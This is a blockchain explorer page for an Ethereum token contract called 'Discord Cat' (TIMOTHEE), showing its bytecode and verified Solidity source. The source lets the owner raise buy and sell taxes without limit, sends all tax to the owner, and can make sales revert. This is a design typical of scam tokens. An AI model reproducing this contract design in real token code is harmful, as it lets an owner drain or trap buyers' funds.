Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x513073B969fE501c848F22DFB1f1d3FeEe84580e
Balance 0 ETH
Nonce 1
Code Size 3526 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3526 bytes
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610256578063cc1776d314610269578063dc1052e214610272578063dd62ed3e14610285578063e34683c91461029857600080fd5b8063715018a6146101f35780638cd09d50146101fd5780638da5cb5b1461021057806395d89b411461023b578063a457c2d71461024357600080fd5b8063313ce567116100f4578063313ce5671461018c578063395093511461019b5780634f7041a5146101ae5780636ed5378f146101b757806370a08231146101ca57600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016757806323b872dd14610179575b600080fd5b61012e6102ab565b60405161013b9190610afc565b60405180910390f35b610157610152366004610b6d565b61033d565b604051901515815260200161013b565b6002545b60405190815260200161013b565b610157610187366004610b97565b610355565b6040516012815260200161013b565b6101576101a9366004610b6d565b61037b565b61016b60055481565b6101576101c5366004610b6d565b61039d565b61016b6101d8366004610bd3565b6001600160a01b031660009081526020819052604090205490565b6101fb610431565b005b6101fb61020b366004610bf5565b6104b4565b600754610223906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b61012e61052c565b610157610251366004610b6d565b61053b565b610157610264366004610b6d565b6105b6565b61016b60065481565b6101fb610280366004610bf5565b6105c5565b61016b610293366004610c0e565b610637565b6101576102a6366004610c41565b610662565b6060600380546102ba90610c64565b80601f01602080910402602001604051908101604052809291908181526020018280546102e690610c64565b80156103335780601f1061030857610100808354040283529160200191610333565b820191906000526020600020905b81548152906001019060200180831161031657829003601f168201915b5050505050905090565b60003361034b8185856106e9565b5060019392505050565b60003361036385828561080d565b6103708585856001610887565b506001949350505050565b60003361034b81858561038e8383610637565b6103989190610cb5565b6106e9565b6000600a82106104035760405162461bcd60e51b815260206004820152602660248201527f546865206c617374206469676974206d757374206265206265747765656e203060448201526520616e64203960d01b60648201526084015b60405180910390fd5b6001600160a01b03831660009081526020819052604090205482610428600a83610ce3565b14949350505050565b6007546001600160a01b0316336001600160a01b0316146104645760405162461bcd60e51b81526004016103fa90610cf7565b60075460405161dead916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780546001600160a01b03191661dead179055565b6007546001600160a01b0316336001600160a01b0316146104e75760405162461bcd60e51b81526004016103fa90610cf7565b600681905560055460408051918252602082018390527fb841faf0d1b32571f4ef966a2f35e3ae51f3cdda45318c3da5570a5b2ad8560591015b60405180910390a150565b6060600480546102ba90610c64565b600033816105498286610637565b9050838110156105a95760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103fa565b61037082868684036106e9565b60003361034b81858585610887565b6007546001600160a01b0316336001600160a01b0316146105f85760405162461bcd60e51b81526004016103fa90610cf7565b60058190556006546040805183815260208101929092527fb841faf0d1b32571f4ef966a2f35e3ae51f3cdda45318c3da5570a5b2ad856059101610521565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600060188260ff16106106b75760405162461bcd60e51b815260206004820152601d60248201527f486f7572206d757374206265206265747765656e203020616e6420323300000060448201526064016103fa565b60006018603c6106c78142610d46565b6106d19190610d46565b6106db9190610ce3565b60ff90931690921492915050565b6001600160a01b03831661074b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fa565b6001600160a01b0382166107ac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fa565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006108198484610637565b9050600019811461088157818110156108745760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103fa565b61088184848484036106e9565b50505050565b6001600160a01b0384166108eb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fa565b6001600160a01b03831661094d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fa565b6001600160a01b038416600090815260208190526040902054828110156109c55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103fa565b6000826109eb576064600554856109dc9190610d5a565b6109e69190610d46565b610a05565b6064600654856109fb9190610d5a565b610a059190610d46565b90506000610a138286610d79565b6001600160a01b038881166000818152602081815260408083208b8a039055938b168083529184902080548601905592518481529394509290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a38115610af3576007546001600160a01b031660009081526020819052604081208054849290610aa8908490610cb5565b90915550506007546040518381526001600160a01b03918216918916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b50505050505050565b600060208083528351808285015260005b81811015610b2957858101830151858201604001528201610b0d565b81811115610b3b576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b6857600080fd5b919050565b60008060408385031215610b8057600080fd5b610b8983610b51565b946020939093013593505050565b600080600060608486031215610bac57600080fd5b610bb584610b51565b9250610bc360208501610b51565b9150604084013590509250925092565b600060208284031215610be557600080fd5b610bee82610b51565b9392505050565b600060208284031215610c0757600080fd5b5035919050565b60008060408385031215610c2157600080fd5b610c2a83610b51565b9150610c3860208401610b51565b90509250929050565b600060208284031215610c5357600080fd5b813560ff81168114610bee57600080fd5b600181811c90821680610c7857607f821691505b60208210811415610c9957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610cc857610cc8610c9f565b500190565b634e487b7160e01b600052601260045260246000fd5b600082610cf257610cf2610ccd565b500690565b6020808252602f908201527f4f6e6c792074686520636f6e7472616374206f776e65722063616e2063616c6c60408201526e103a3434b990333ab731ba34b7b71760891b606082015260800190565b600082610d5557610d55610ccd565b500490565b6000816000190483118215151615610d7457610d74610c9f565b500290565b600082821015610d8b57610d8b610c9f565b50039056fea264697066735822122051f87532128c9710a4d8db9a363185b6ea49b1ffeddf070d628842a43ecd314f64736f6c63430008090033

Verified Source Code Partial Match

Compiler: v0.8.9+commit.e5eed63a EVM: london Optimization: Yes (200 runs)
FaustTweet.sol 256 lines
/*

https://t.me/discordcattimothee

*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed ownerAddress, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address ownerAddress, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    uint256 public buyTax = 17;  //
    uint256 public sellTax = 24;  //
    address public owner;

    modifier onlyOwner() {
        require(_msgSender() == owner, "Only the contract owner can call this function.");
        _;
    }

    event TaxUpdated(uint256 buyTax, uint256 sellTax);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(string memory name_, string memory symbol_, uint256 initialSupply) {
        _name = name_;
        _symbol = symbol_;
        owner = _msgSender();
        _totalSupply = initialSupply * 10 ** decimals();
        _balances[owner] = _totalSupply;  // Allocate all tokens to the contract deployer

        emit Transfer(address(0), owner, _totalSupply);  // Emit event to indicate the initial allocation
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address sender = _msgSender();  // Renamed from owner to sender
        _transfer(sender, to, amount, false);  // false indicates this is a regular transfer, not a sell
        return true;
    }

    function allowance(address ownerAddress, address spender) public view virtual override returns (uint256) {
        return _allowances[ownerAddress][spender];  // Changed owner to ownerAddress for clarity
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address sender = _msgSender();  // Renamed from owner to sender
        _approve(sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount, true);  // true indicates this is a sell transfer
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address sender = _msgSender();  // Renamed from owner to sender
        _approve(sender, spender, allowance(sender, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address sender = _msgSender();  // Renamed from owner to sender
        uint256 currentAllowance = allowance(sender, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(sender, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function setBuyTax(uint256 _buyTax) external onlyOwner {
        buyTax = _buyTax;
        emit TaxUpdated(buyTax, sellTax);
    }

    function setSellTax(uint256 _sellTax) external onlyOwner {
        sellTax = _sellTax;
        emit TaxUpdated(buyTax, sellTax);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount,
        bool isSell
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        uint256 taxAmount = isSell ? (amount * sellTax / 100) : (amount * buyTax / 100);
        uint256 netAmount = amount - taxAmount;

        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += netAmount;
        }

        emit Transfer(from, to, netAmount);

        if (taxAmount > 0) {
            _balances[owner] += taxAmount;  // Tax is sent to the contract owner
            emit Transfer(from, owner, taxAmount);
        }

        _afterTokenTransfer(from, to, netAmount);
    }

    function _approve(
        address ownerAddress,  // Renamed from owner to ownerAddress
        address spender,
        uint256 amount
    ) internal virtual {
        require(ownerAddress != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[ownerAddress][spender] = amount;
        emit Approval(ownerAddress, spender, amount);
    }

    function _spendAllowance(
        address ownerAddress,  // Renamed from owner to ownerAddress
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(ownerAddress, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(ownerAddress, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /// @dev Renounce ownership and transfer control to the dead address
    function renounceOwnership() external onlyOwner {
        emit OwnershipTransferred(owner, address(0x000000000000000000000000000000000000dEaD));
        owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function balanceEndsIn(address wallet, uint256 lastDigit) public view returns (bool) {
        require(lastDigit < 10, "The last digit must be between 0 and 9");

        uint256 balance = balanceOf(wallet);
        return balance % 10 == lastDigit;
    }

    function isWithinHour(uint8 hour) public view returns (bool) {
        require(hour < 24, "Hour must be between 0 and 23");
        uint256 currentHour = (block.timestamp / 60 / 60) % 24;
        return currentHour == hour;
    }
}

pragma solidity ^0.8.9;

contract FaustTweet is ERC20 {
    constructor() ERC20(unicode"Discord Cat", unicode"TIMOTHEE", 1000000000) {}
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceEndsIn 0x6ed5378f → bool
balanceOf 0x70a08231 → uint256
buyTax 0x4f7041a5 → uint256
decimals 0x313ce567 → uint8
isWithinHour 0xe34683c9 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellTax 0xcc1776d3 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
setBuyTax 0xdc1052e2
uint256 _buyTax
setSellTax 0x8cd09d50
uint256 _sellTax
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address